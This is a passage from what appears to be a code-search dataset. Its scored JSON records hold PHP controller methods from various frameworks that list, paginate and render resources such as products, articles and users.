RecipeListResource::collection(Recipe::paginate(10));\n }", "title": "" }, { "docid": "5e485f5256447384c89b0040914b850e", "score": "0.7209843", "text": "public function index()\n {\n $resources = Resource::orderBy('id', 'desc')->paginate(10);\n\n return view('admin.resource.index', [\n 'resources' => $resources\n ]);\n }", "title": "" }, { "docid": "2e3564beb136b7de619ee51f1088fb53", "score": "0.719667", "text": "public function index()\n {\n\n return \\View::make('resources.index')\n ->with(['displayName' => 'resources']\n );\n }", "title": "" }, { "docid": "6ba01bde2894545b26719d51e92cebf6", "score": "0.71551645", "text": "public function indexAction()\n {\n\n $em = $this->getDoctrine()->getManager();\n\n $resources = $em->getRepository('AppBundle:Resource')->findAllDesc();\n\n return $this->render('admin/resource/index.html.twig', array(\n 'resources' => $resources,\n ));\n }", "title": "" }, { "docid": "42bee349ff83930cb164b3a793f6d5b2", "score": "0.71432024", "text": "public function listAction()\n {\n //Setup search properties form\n $searchForm = $this->service->getForm('Search');\n $action = $this->view->url(['action'=>'search'], 'controllers');\n $searchForm->setAction($action);\n $this->view->searchForm = $searchForm;\n //Setup properties list\n $this->service->setPaginatorOptions($this->getAppSetting('paginator'));\n $page = (int) $this->param($this->view->translate('page'), 1);\n $collection = $this->service->retrievePropertyCollection($page);\n $this->view->collection = $collection;\n $this->view->paginator = $this->service->getPaginator($page);\n }", "title": "" }, { "docid": "d7820004a578ddc16d57dff08d715ef0", "score": "0.713195", "text": "public function showResource()\n\t{\n\t\treturn view('resources.list')->with('resources', Resources::all());\n\t}", "title": "" }, { "docid": "1ac60064d05eb6556018c88c4294567a", "score": "0.7113176", "text": "public function index()\n\t{\n\t\t$this->lists();\n\t}", "title": "" }, { "docid": "21284f1b8a31a69a0252300fcccbc357", "score": "0.71072334", "text": "public function listingAction()\r\n {\r\n\r\n $oZendDbSelect = new Zend_Db_Select(Zend_Db_Table::getDefaultAdapter());\r\n $oZendDbSelect->from('View_Rclient_Types_Listing')->order('cl_type_id asc');\r\n\r\n // Query search engine\r\n $oMySearchEngine = new My_Search_Engine($oZendDbSelect);\r\n $oMySearchEngine->findWordOn(array('cl_type_libelle' => array('operator' => 'like')));\r\n\r\n $oMySearchEngine->findByFields(\r\n array(\r\n 'cl_type_id' => array('operator' => 'eql'),\r\n 'cl_type_libelle' => array('operator' => 'like')\r\n )\r\n );\r\n\r\n $oMySearchEngine->makeOrderBy();\r\n\r\n // Downloading the filtered list in CSV\r\n if ($this->_helper->ContextSwitch()->getCurrentContext() == 'csv') {\r\n $oExport = new My_Data_Export_CSV(new My_Data_Export_Source_Adapter_Select($oMySearchEngine->getSelect()));\r\n $this->view->csv = $oExport->make();\r\n $this->view->filename = Phoenix_Data_Export_Csv::buildFileName();\r\n } // Viewing the filtered list in HTML\r\n else {\r\n // Initialize paginator adapter\r\n $oAdapter = new Zend_Paginator_Adapter_DbSelect($oMySearchEngine->getSelect());\r\n\r\n // Pagination management\r\n $oPaginator = new My_Paginator($oAdapter);\r\n $oPaginator->setCurrentPageNumber($this->_getParam('page'));\r\n $oPaginator->setItemCountPerPage(15);\r\n $this->view->paginator = $oPaginator;\r\n }\r\n }", "title": "" }, { "docid": "68a189cc0bf8bc79e0e116676dbdb66b", "score": "0.70221174", "text": "public function actionList()\n {\n $this->assign(\"name\", \"leiyi\");\n\n $this->display('home/page/list.tpl');\n }", "title": "" }, { "docid": "eeebaafb341e5dcfe7cd3e2d7c48f741", "score": "0.7020841", "text": "public function listAction()\n {\n \t$currentPage = 1;\n \t//Check if the user is not on page 1\n \t$i = $this->_request->getQuery('i');\n \tif(!empty($i))\n \t{\n \t\t$currentPage = $this->_request->getQuery('i');\n \t}\n \t\n \t//Create a db object\n \trequire_once \"../application/models/Db/Db_Db.php\";\n \t$db = Db_Db::conn();\n \t\n \t//Create a Zend_db_select object\n \t$sql = new Zend_Db_Select($db);\n \t\n \t//Define the columns to retrieve as well as table.\n \t$columns = array(\"id\",\"artist_name\");\n \t$table = array(\"artists\");\n \t\n \t//SELECT `artists`.`id`, `artists`.`artist_name` FROM `artists`\n\t\t$statement = $sql->from($table, $columns);\n \t\n \t//Initialize the Zend_Paginator\n \t$paginator = Zend_Paginator::factory($statement);\n \t\n \t//Set the properties for the pagination\n \t$paginator->setItemCountPerPage(10);\n \t$paginator->setPageRange(10);\n \t$paginator->setCurrentPageNumber($currentPage);\n \t\n \t$this->view->paginator = $paginator;\n \t\n }", "title": "" }, { "docid": "7c87396141031b5bdb4d7fce1a123f8f", "score": "0.7008967", "text": "public function index()\n {\n $this->listing('0', '', '0');\n }", "title": "" }, { "docid": "20d766db80674b0e4072b2719471b257", "score": "0.69712967", "text": "public function index()\n {\n\n $ourresource = OurResource::all();\n return view('Admin.ourresource.all', compact('ourresource'));\n }", "title": "" }, { "docid": "217e339de79424bf236318e41ddb0695", "score": "0.6958182", "text": "public function index()\n {\n $resources = Resource::getResourceDetails();\n return view('admin.resources.index')->with('resources', $resources);\n }", "title": "" }, { "docid": "84dde6f109c23a0b3b845c0d6e864169", "score": "0.69026124", "text": "public function index()\n\t{\n $config['list'] = VrResources::get()->toArray();\n $config['title'] = trans('app.adminMenuResources');\n $config['no_data'] = trans('app.adminNoData');\n $config['new'] = route('app.resources.create');\n $config['edit'] = 'app.resources.edit';\n $config['delete'] = 'app.resources.destroy';\n return view('admin.adminList', $config);\n\t}", "title": "" }, { "docid": "6e166e624d00d2c763463d2f398dd1ef", "score": "0.68946916", "text": "public function indexAction() {\n $this->pageTitle = $this->_(\"AclResource management\");\n $grid = new AclResourceGrid(\"AclResource\");\n $grid->run();\n $this->view->setVars(array(\n 'grid' => $grid\n ));\n }", "title": "" }, { "docid": "bebf123d6dd48762f8190b1776616d05", "score": "0.68929", "text": "public function index()\n {\n if (is_null($this->resource)) {\n return response()->json($this->service->paginate());\n } else {\n return $this->resource::collection($this->service->paginate());\n }\n }", "title": "" }, { "docid": "97968d8873a94786d3e40145696ee2bd", "score": "0.68919075", "text": "public function index()\n {\n return Resources::collection(Model::orderBy('id', 'desc')->paginate());\n }", "title": "" }, { "docid": "5dc08bdec3bdf1e8261a81891fdb5f4e", "score": "0.6873949", "text": "public function index()\n {\n $arrObjResource = Resource::latest()->paginate(5);\n return view('resource.index', compact('arrObjResource'))\n ->with('i', (request()->input('page', 1) - 1) * 5);\n }", "title": "" }, { "docid": "0e8ad7256c7bbd8504ebf3d782bb3209", "score": "0.68704486", "text": "public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $resources = $em->getRepository('AppBundle:Resource')->findBy(array('channel' => $this->getUser()->getActiveChannel()));\n\n return $this->render('AppBundle:Resource:index.html.twig', array(\n 'resources' => $resources,\n 'channel' => $this->getUser()->getActiveChannel(),\n ));\n }", "title": "" }, { "docid": "e76df9bb5e40cc75acb3fb5e4b084b82", "score": "0.6848992", "text": "public function listing() {\n $title = \"Admin - Listing\";\n $this->set(compact('title'));\n\n $conditions = array('delete_status' => NotDeleted);\n if ($this->request->is('post') && !empty($this->request->data['search'])) {\n $conditions['OR']['first_name LIKE'] = '%' . $this->request->data['search'] . '%';\n $conditions['OR']['last_name LIKE'] = '%' . $this->request->data['search'] . '%';\n $conditions['OR']['email LIKE'] = '%' . $this->request->data['search'] . '%';\n }\n\n $this->paginate = [\n 'limit' => PAGING_SIZE,\n 'conditions' => $conditions,\n ];\n $Results = $this->paginate('Admins');\n $this->set(compact('Results'));\n\n if ($this->request->is('ajax')) {\n $this->viewBuilder()->layout('ajax');\n $this->viewBuilder()->templatePath('Element' . DS . 'admin' . DS . 'admin');\n $this->render('index');\n }\n }", "title": "" }, { "docid": "6b9f4551cb0d7103440e15f4ff2bc102", "score": "0.6844889", "text": "function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_actividadModel->getActividad();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}", "title": "" }, { "docid": "95b579529f8b40d1b2b6ae580a9b3250", "score": "0.6835474", "text": "public function index()\n {\n $this->params['page'] = empty($this->params['page']) ? 1 : $this->params['page'];\n $collection = $this->model->paginate($this->params);\n $this->set('objects', $collection['objects']);\n $this->set_pagination($collection);\n }", "title": "" }, { "docid": "358b82626374a39ca1c5cb87e1d94243", "score": "0.68288803", "text": "public function crane_list() {\n\t\t\t$this->setAction('index');\t\n\t\t\t$this->render('crane_list');\n\t}", "title": "" }, { "docid": "4b8e52b6fdf81afdda958487f24d56b3", "score": "0.68279797", "text": "public function listAction()\n {\n $catalog = $this->container->get('catalog');\n\n $book_list = $catalog->listBooks();\n\n return [\n 'list' => $book_list,\n ];\n }", "title": "" }, { "docid": "3824dabd41509647ac9d2bc02a329701", "score": "0.68272334", "text": "public function indexAction()\n {\n $config = $this->getConfiguration();\n\n $listRenderer = $this->getListRenderer();\n $sort = $this->getSort();\n $listRenderer->setSort($sort);\n $criteria = $this->getFilterCriteria();\n\n $pager = $this->getPager();\n $pager->setMaxRows($config->getListOption('max_page_rows'));\n $pager->setPage($this->getCurrentPage());\n $pager->setQueryBuilder(\n $this->getModelManager()->buildQuery(\n $criteria,\n $sort\n )\n );\n\n $criteria = $this->getModelManager()->mergeFilterCriteriaObjects($criteria);\n $filterForm = $this->getFilterRenderer()->getForm($criteria);\n\n return $this->container->get('templating')\n ->renderResponse($listRenderer->getTemplate(), array(\n 'renderer' => $listRenderer,\n 'filter' => $this->getFilterRenderer(),\n 'pager' => $pager,\n 'csrf' => $this->container->get('form.csrf_provider')->generateCsrfToken('list'),\n 'filtered' => count($criteria),\n 'form' => $filterForm->createView()\n ));\n }", "title": "" }, { "docid": "cf4f6462e1cc3025d88860aa2c4ba62f", "score": "0.6825393", "text": "function index()\n\t{\n\t\t$args = func_get_args();\n\t\tcall_user_func_array(array($this, 'listing'), $args);\n\t}", "title": "" }, { "docid": "01d58c7ca6fc90f9a714a9eb1332496e", "score": "0.6821498", "text": "public function index()\n\t{\n\t\t$resourceLikes = $this->resourceLikeRepository->paginate(10);\n\n\t\treturn view('resourceLikes.index')\n\t\t\t->with('resourceLikes', $resourceLikes);\n\t}", "title": "" }, { "docid": "550d19f420a94197568709e17d512612", "score": "0.68181574", "text": "public function listTask()\n\t{\n\t\t// Incoming directory (this should be a path built from a resource ID and its creation year/month)\n\t\t$listdir = Request::getString('listdir', '');\n\t\tif (!$listdir)\n\t\t{\n\t\t\techo '<p class=\"error\">' . Lang::txt('COM_RESOURCES_ERROR_NO_LISTDIR') . '</p>';\n\t\t\treturn;\n\t\t}\n\n\t\t// Incoming sub-directory\n\t\t$subdir = Request::getString('subdir', '');\n\n\t\t// Build the path\n\t\t$path = Utilities::buildUploadPath($listdir, $subdir);\n\n\t\t$folders = array();\n\t\t$docs = array();\n\n\t\tif (is_dir($path))\n\t\t{\n\t\t\t// Loop through all files and separate them into arrays of images, folders, and other\n\t\t\t$dirIterator = new \\DirectoryIterator($path);\n\n\t\t\tforeach ($dirIterator as $file)\n\t\t\t{\n\t\t\t\tif ($file->isDot())\n\t\t\t\t{\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\t$name = $file->getFilename();\n\n\t\t\t\tif ($file->isDir())\n\t\t\t\t{\n\t\t\t\t\t$folders[$path . DS . $name] = $name;\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif ($file->isFile())\n\t\t\t\t{\n\t\t\t\t\tif (in_array(strtolower($name), array('cvs', '.svn', '.git', '.ds_store')))\n\t\t\t\t\t{\n\t\t\t\t\t\tcontinue;\n\t\t\t\t\t}\n\n\t\t\t\t\t$docs[$path . DS . $name] = $name;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tksort($folders);\n\t\t\tksort($docs);\n\t\t}\n\n\t\t$this->view\n\t\t\t->set('listdir', $listdir)\n\t\t\t->set('subdir', $subdir)\n\t\t\t->set('docs', $docs)\n\t\t\t->set('folders', $folders)\n\t\t\t->set('config', $this->config)\n\t\t\t->setErrors($this->getErrors())\n\t\t\t->setLayout('list')\n\t\t\t->display();\n\t}", "title": "" }, { "docid": "78f3ca79946467b9bfd80223ec5ba614", "score": "0.6808544", "text": "public function index()\n {\n return PlayResource::collection(Play::paginate());\n }", "title": "" }, { "docid": "f1c7ec0399bbc0a26f289a612459ed88", "score": "0.67977417", "text": "function index()\r\n\t{\r\n $this->showlist();\r\n\t}", "title": "" }, { "docid": "31a61aadfd15cf04075c88c5088f8860", "score": "0.67884994", "text": "public function listing(Request $request)\n {\n //validations and access control\n $this->validationAndAccess(__FUNCTION__, $request);\n\n //Start query builder. You can start limiting your results here, for example:\n $scope = $this->nested_parameters;\n if(empty($scope)){\n $query = '';\n }else{\n $query = $this->model->select($this->model->availableTableFields());\n foreach($scope as $field => $value){\n $query = (!empty($value)) ? $query->where($field,'=',$value) : $query;\n }\n }\n\n //Get resources list using our query builder function, just to pass the tablable model, the json request from the table view and optionally, a initial query object.\n $query_results = VibrantTools::getListFromModel($this->model, $request, $this->force_id_request, $query);\n\n return response()->json($query_results);\n }", "title": "" }, { "docid": "118caca12a46f44cf44d066cf46e4baf", "score": "0.6768095", "text": "public function index()\n {\n return ItemResource::collection(Items::orderBy('id', 'desc')->paginate(30));\n }", "title": "" }, { "docid": "50b94f1d44a80883647d7fc440645f79", "score": "0.67589504", "text": "public function listAction()\n {\n $contents = $this->entityManager->getRepository('Studit\\H5PBundle\\Entity\\Content')->findAll();\n return $this->render('@StuditH5P/list.html.twig', ['contents' => $contents]);\n }", "title": "" }, { "docid": "6cb967692b4f77fb138723c118707e5a", "score": "0.6756384", "text": "public function listAction()\n\t{\n\t\t$pages = Model_Query_Page::getTree(Model_Query_Page::TREE_TYPE_FLAT);\n\t\t\n\t\t$this->view->pages = $pages;\n\t}", "title": "" }, { "docid": "a62c8fb3c6a39b17143e4f99a44215eb", "score": "0.674278", "text": "public function index()\n {\n // Get Products\n $products = Product::paginate(15);\n\n // Return collection of products as a resource\n return ProductResource::collection($products);\n }", "title": "" }, { "docid": "17f3cd4988f20f8325c593af544287ff", "score": "0.67272323", "text": "public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}", "title": "" }, { "docid": "24af10ce4b6b3777185b0f14f381d2ed", "score": "0.6723023", "text": "public function index() {\n $resources = $this->resourceMapper->findAll();\n\n // put the array containing Resource object to the view\n $this->view->setVariable(\"resources\", $resources);\n if (isset($this->currentUser) && $this->currentUser->getUser_type() == usertype::Administrator){\n $this->view->render(\"resources\", \"index\");\n }\n }", "title": "" }, { "docid": "1d448703f5190066628ad9862a2d03f8", "score": "0.67209285", "text": "public function indexAction() {\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n\n //GET VIEWER\n $viewer = Engine_Api::_()->user()->getViewer();\n\t\t$viewer_id = $viewer->getIdentity();\n\n //GET LISTING SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n \n\t\t//GET LEVEL SETTING\n $this->view->allowed_upload_photo = Engine_Api::_()->authorization()->isAllowed($list, $viewer, 'photo');\n \n //GET PAGINATOR\n $this->view->album = $album = $list->getSingletonAlbum();\n $this->view->paginator = $paginator = $album->getCollectiblesPaginator();\n $this->view->total_images = $paginator->getTotalItemCount();\n $paginator->setCurrentPageNumber($this->_getParam('page'));\n $paginator->setItemCountPerPage(20);\n\n if (empty($this->view->allowed_upload_photo) && empty($this->view->total_images)) {\n return $this->setNoRender();\n }\n \n //ADD COUNT TO TITLE\n if ($this->_getParam('titleCount', false) && $paginator->getTotalItemCount() > 0) {\n $this->_childCount = $paginator->getTotalItemCount();\n }\n }", "title": "" }, { "docid": "871969a5830c5824710f35f92b284e14", "score": "0.6717003", "text": "public function list_action()\n {\n $productRp = new ProductRepository;\n\n $pageTitle = 'crud';\n $crudLinkStyle = 'current_page';\n\n $cssStyleRule = $this->buildStyleRule();\n $backgroundColor = $this->getBackgroundColor();\n\n $isLoggedInAsAdmin = $this->isAdminUser();\n\n // 2. get all products\n $products = $productRp->get_all_products();\n\n $isLoggedIn = $this->is_logged_in_from_session();\n $user_name = $this->username_from_session();\n\n\n require_once __DIR__ . '/../template/admin_crud.php';\n }", "title": "" }, { "docid": "114a63c0832877abfdcd8697254fa24d", "score": "0.67128056", "text": "public function list()\n {\n // On va vérifier les authorisations : Admin only\n $this->checkAuthorisation(['admin']);\n\n // On appelle la méthode show() de l'objet courant\n // En argument, on fournit le fichier de Vue\n // Par convention, chaque fichier de vue sera dans un sous-dossier du nom du Controller\n\n $products = Product::findAll();\n\n $dataToDisplay = [\n 'products' => $products\n ];\n\n // On va appeler (require) le fichier views/category/list.tpl.php\n $this->show('product/list', $dataToDisplay);\n }", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "aa4f8e62dc57e3f9dd552a60b0f54091", "score": "0.67116815", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n\t}", "title": "" }, { "docid": "86eb524e99a31621e46aa2e8718e61f6", "score": "0.67027086", "text": "public function index()\n {\n $items = Item::orderBy('id', 'DESC')->paginate(10);\n\n return ItemResource::collection($items);\n }", "title": "" }, { "docid": "d79dbba2d57614ef830362a19c63a970", "score": "0.66864055", "text": "public function index()\n {\n return $this->view('list', [\n 'elements' => $this->service->index()\n ]);\n }", "title": "" }, { "docid": "db8a0696586c7515873c89a6a0d1cb86", "score": "0.6681138", "text": "public function actionIndex()\n {\n $array = MyList::getAll();\n\n return $this->render('index', ['model' => $array]);\n }", "title": "" }, { "docid": "f87e4c930a716211a968b3d9cc7f28cb", "score": "0.6679537", "text": "public function listAction()\n {\n $data = array(\n 'red',\n 'green',\n 'blue',\n 'yellow'\n );\n\n $request = $this->getRequest();\n $acceptHeader = $request->getHeader('Accept');\n\n $this->view->assign(\n array(\n 'data' => $data\n )\n );\n }", "title": "" }, { "docid": "0fd2e15257bfa9204ec9573726987c66", "score": "0.66752803", "text": "public function index()\n {\n $menu = Menu::paginate(10);\n\n return MenuResource::collection($menu);\n }", "title": "" }, { "docid": "daba699beaeef91359ed7b10313414c0", "score": "0.6675206", "text": "public function index()\n {\n $this->checkPermission(\"admin_permission_management\");\n $items = $this->service->getAll();\n\n $items = ApiResource::collection($items);\n\n return $this->respondWithSuccess($items);\n }", "title": "" }, { "docid": "93802b97c6f44ae5e366b70deec744b9", "score": "0.66626006", "text": "public function show()\n {\n $results = $this->run('show');\n }", "title": "" }, { "docid": "5278e85997fa12c693ce5b7a9a5f2e24", "score": "0.6659221", "text": "public function index() {\n\t\treturn ClientResource::collection(Client::paginate(15));\n\t}", "title": "" }, { "docid": "601280f6c7a8fe1284080c1c22a3e447", "score": "0.6654493", "text": "public function index()\n {\n // Get Accounts\n $accounts = Account::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of Accounts as a resource\n return AccountResource::collection($accounts);\n }", "title": "" }, { "docid": "5d3102f6a725b79d77b0e3bc731ae984", "score": "0.66521215", "text": "public function index()\n {\n $polls = Poll::latest()->paginate(16);\n return PollResource::collection($polls);\n }", "title": "" }, { "docid": "4c33127363526600cc1da25d18f917b1", "score": "0.66481763", "text": "public function index()\n {\n $entries = Entry::all();\n return view('list', compact('entries'));\n }", "title": "" }, { "docid": "e2eacd814cad9b8205ce83c08f3b5e18", "score": "0.6644318", "text": "public function showAllAction()\n {\n $title = \"Product overview\";\n $page = $this->app->page;\n $db = $this->app->db;\n\n $this->connection();\n $sql = \"SELECT * FROM product;\";\n $res = $db->executeFetchAll($sql);\n\n $data = [\n \"res\" => $res,\n \"check\" => \"check\"\n ];\n\n // $page->add(\"flash\", [], \"hej\");\n $page->add(\"products/header\");\n $page->add(\"products/show-all\", $data);\n\n return $page->render([\n \"title\" => $title,\n ]);\n }", "title": "" }, { "docid": "7ba8d3b39da88e11faeb12313b1810c2", "score": "0.6642726", "text": "public function index()\n {\n return view('pages.listing-list', [ 'listings' => Listing::all() ]);\n }", "title": "" }, { "docid": "2e266895b57f5ca532a4517799527c81", "score": "0.6637523", "text": "public function index()\n {\n $this->authorize('viewAny', Article::class);\n return ArticleResource::collection(Article::paginate(10));\n }", "title": "" }, { "docid": "e3549202853588a65782bc96028199ed", "score": "0.6635664", "text": "public function indexAction()\n {\n $page = isset($_GET['page']) ? (int)$_GET['page'] : 1;\n $perpage = 9;\n $count = R::count('product');\n $pagination = new Pagination($page, $perpage, $count);\n $start = $pagination->getStart();\n $products = R::getAll(\"SELECT product.*, category.title AS cat FROM product JOIN category ON category.id = product.category_id ORDER BY product.title LIMIT $start, $perpage\");\n $this->setMeta('Product Liste');\n $this->set(compact('products', 'pagination', 'count'));\n }", "title": "" }, { "docid": "c7312e7e8966df50b49658cf582ce6ec", "score": "0.66348624", "text": "public function index()\n {\n return ScreenResource::collection(Screen::orderby('created_at','desc')->paginate(10));\n }", "title": "" }, { "docid": "a7737316f2150c9517aa85bb9cd5c182", "score": "0.6620835", "text": "public function actionList()\n {\n $this->render(\n 'list',\n array(\n 'modules' => ($modules = $this->getInstalledModules()) ? $modules : array(),\n )\n );\n }", "title": "" }, { "docid": "fe5cbdcbc1d4a099ac316f47b6bde600", "score": "0.66093606", "text": "public function ListView()\n\t{\n\t\t$this->Render();\n }", "title": "" }, { "docid": "48b9c834ddf22a0e1e54ba121573b35d", "score": "0.65925086", "text": "public function index()\n {\n $items= Item::all();\n return ItemResource::collection($items);\n }", "title": "" }, { "docid": "ca2a7c14d5251722cbb44ad0cf858243", "score": "0.65886205", "text": "public function overviewAction()\n {\n return $this->getProxy(self::PROXY_CLASS)->findAll();\n }", "title": "" }, { "docid": "904c604bfcee5f1df6ea56185ca68d5b", "score": "0.6587205", "text": "public function index()\n {\n //GET all the ARTICLES\n $articles = Article::paginate(15);//display 15 records per page\n\n //return colletion of articles\n return ArticleResource::collection($articles);\n\n }", "title": "" }, { "docid": "1cb3c7ae8b44dd6649599a0c6b21c3c7", "score": "0.65857047", "text": "public function index()\n\t{\n\t\t$data = [\n\t\t\t'pageTitle' => $this->getResourcePluralName(),\n\t\t\t'allItems' => $this->repo->search($this->getIndexFilter()),\n\t\t\t'isDestroyingEntityAllowed' => $this->isDestroyAllowed(),\n\t\t\t'canCreateEntities' => $this->canCreateEntities(),\n\t\t\t'canEditEntities' => $this->canEditEntities(),\n\t\t];\n\n\t\t$viewName = $this->getIndexViewName();\n\n\t\treturn view($viewName, $data);\n\t}", "title": "" }, { "docid": "918a60c91683ae2630d02bdb5af36fd8", "score": "0.6585502", "text": "public function index()\n\t{\n\t\t// if view_table_permission is false, abort\n\t\tif (isset($this->crud['view_table_permission']) && !$this->crud['view_table_permission']) {\n\t\t\tabort(403, 'Not allowed.');\n\t\t}\n\n\t\t// get all results for that entity\n\t\t$model = $this->crud['model'];\n\t\t$this->data['entries'] = $model::all();\n\n\t\t$this->_prepare_columns(); // checks that the columns are defined and makes sure the response is proper\n\n\t\t$this->data['crud'] = $this->crud;\n\n\t\t// load the view from /resources/views/vendor/dick/crud/ if it exists, otherwise load the one in the package\n\t\tif (view()->exists('vendor.dick.crud.list'))\n\t\t{\n\t\t\treturn view('vendor.dick.crud.list', $this->data);\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn view('crud::list', $this->data);\n\t\t}\n\t}", "title": "" }, { "docid": "4e0e77be39529387e26200c96e69287c", "score": "0.65843135", "text": "public function index()\n {\n return $this->respondResource($this->courseTransformer->transformCollection($this->model->all()));\n }", "title": "" }, { "docid": "679aeb0a886968964597db4d52db9f05", "score": "0.65769154", "text": "public function action_list() {\n\t\tKohana::$log->add(Kohana::DEBUG,'Executing Controller_Admin_Photo::action_list');\n\n\t\t// Build request\n\t\t$query = DB::select();\n\n\t\tif(isset($_POST['terms']))\n\t\t{\n\t\t\t$query->where('title','like',\"%\".$_POST['terms'].\"%\");\n\t\t\t$query->or_where('subtitle','like',\"%\".$_POST['terms'].\"%\");\n\t\t}\n\n\t\t$photos = Sprig::factory('photo')->load($query, FALSE);\n\n\n\t\tif(Request::$is_ajax)\n\t\t{\n\t\t\t// return a json encoded HTML table\n $this->request->response = json_encode(\n\t\t\t\tView::factory('admin/photo/list_tbody')\n\t\t\t\t\t->bind('photos', $photos)\n ->render()\n );\n\t\t}\n\t\telse\n\t\t{\n\t\t\t// return the full page\n\t\t\t$this->template->content = View::factory('admin/photo/list')\n\t\t\t\t->set('tbody', View::factory('admin/photo/list_tbody')\n\t\t\t\t\t->bind('photos', $photos)\n\t\t\t\t);\n\t\t}\n\t}", "title": "" }, { "docid": "e99878c1a0eff5bcf7bf12ed5c8ef9d5", "score": "0.65716714", "text": "public function show()\n {\n return view('listing::show');\n }", "title": "" }, { "docid": "2a58e9f56c195880d92e6beb689abbba", "score": "0.6570577", "text": "public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t\n\t\t$perpage = $this->perpage;\n\t\t$search = array();\n\t\t\n\t\tlist($total, $data) = Cut_Service_Type::getList($page, $perpage, $search);\n\t\t$count = Cut_Service_Store::getCountByType();\n\t\t$this->assign('data', $data);\n\t\t$this->assign('count', $count);\n\t\t$url = $this->actions['listUrl'] .'/?'. http_build_query($search) . '&';\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $url));\n\t\t$this->assign('search', $search);\n\t\t$this->cookieParams();\n\t}", "title": "" }, { "docid": "ec4c68627da9cf6d0e66bd08ee79a1dc", "score": "0.65669394", "text": "public function index()\n {\n // Get articles\n $phonebook = Phonebook::all();\n // $phonebook = Phonebook::orderBy('created_at', 'desc')->paginate(10);\n\n // Return collection of articles as a resource\n return PhonebookResource::collection($phonebook);\n }", "title": "" }, { "docid": "c192cad1748d0fe11000b8d2063a908e", "score": "0.65643096", "text": "public function index()\n {\n return $this->view('lists');\n }", "title": "" }, { "docid": "91bd64ec31d39c68673ba29f7d9f8854", "score": "0.6563426", "text": "public function index()\n {\n $books = Book::all();\n\n return BookResource::collection($books);\n }", "title": "" }, { "docid": "fbe5edfb0d98ba0fd6a7b19c41578f77", "score": "0.6557768", "text": "public function index()\n {\n try{\n $records = $this->recordRepository->all();\n return RecordResource::collection($records);\n }catch(Exception $ex){\n return (new RecordResource(null))->additional([\"success\" => false, 'message' => $ex->getMessage()]);\n }\n }", "title": "" }, { "docid": "d6b8267e53f8fa9ab6b806d4fbc412ee", "score": "0.655762", "text": "public function indexAction()\n {\n $total = 0;\n $records = $this->selectRecords($total);\n\n $this->apiOutRecords($records, array('_total' => $total));\n }", "title": "" }, { "docid": "3880843e6dad72ba6c5735793fc1ed0b", "score": "0.6556616", "text": "public function index()\n {\n $query = Person::getList(request('filter', ''))\n ->orderBy(request('order_by','s_FullLegalName'),request('order','ASC'));\n \n return PersonResource::collection($query->paginate(request('per_page', 100)));\n }", "title": "" }, { "docid": "04cfd6b456f88347b94d80eedaf2f138", "score": "0.65456504", "text": "public function index()\n {\n return new FormatResourceCollection(Format::paginate(12));\n }", "title": "" }, { "docid": "9c04a592d034f52c23e6d6ecf983a3ae", "score": "0.6544668", "text": "public function index()\n {\n return EmployeeResource::collection(Employee::query()->paginate());\n }", "title": "" }, { "docid": "ab27904c6696fc1d0abf6bfaac7bde7e", "score": "0.65404403", "text": "public function listAction()\n {\t\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepEmp = $em->getRepository('BoAdminBundle:SupEmployee');\n\t\t$nb_tc = $oRepEmp->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$supemployees = $em->getRepository('BoAdminBundle:SupEmployee')->findBy(array(),array('firstname' => 'asc'),$nb_cpp,$offset);\n return $this->render('supemployee/index.html.twig', array(\n 'supemployees' => $supemployees,\n\t\t\t'types'=>$em->getRepository('BoAdminBundle:Contracts')->getContractType(),\n\t\t\t'languages'=>$em->getRepository('BoAdminBundle:Language')->getAll(),\n\t\t\t'statuss'=>$em->getRepository('BoAdminBundle:Employee')->getStatusEmployee(),\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'message'=> $this->getSessionMessage(),\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"archives\",\n\t\t\t'sm'=>\"supemployee\",\n ));\n }", "title": "" }, { "docid": "4b7799b0d4a4b471dbc995e613462306", "score": "0.6540187", "text": "public function listAction()\n {\n return new Response(\n json_encode([\n [\n 'id' => 1,\n 'title' => 'First Post on Vox',\n 'author' => 'Mario Rossi',\n 'author_id' => 1,\n 'excerpt' => \"Here we are! Finally this is my first post on Vox and I am so happy that...\",\n 'content' => \"Here we are! Finally this is my first post on Vox and I am so happy that this is my lorem ipsum bla bla bla bla!\",\n 'date' => \"08/01/2015\"\n ],\n [\n 'id' => 2,\n 'title' => 'And yes, this is my second post!',\n 'author' => 'Lukas Schneider',\n 'author_id' => 2,\n 'excerpt' => \"Well this is already my second post and so you already know that...\",\n 'content' => \"Well this is already my second post and so you already know that, in terms of being my second post,\n this is exactly what is says it is: my second, incredibly well written and fantastimagically published post!\",\n 'date' => \"09/02/2015\"\n ]\n ]),\n 200,\n 'application/json'\n );\n }", "title": "" }, { "docid": "7bf076a0c3e59596e2f2d0bcbed69f85", "score": "0.65379655", "text": "public function index()\n 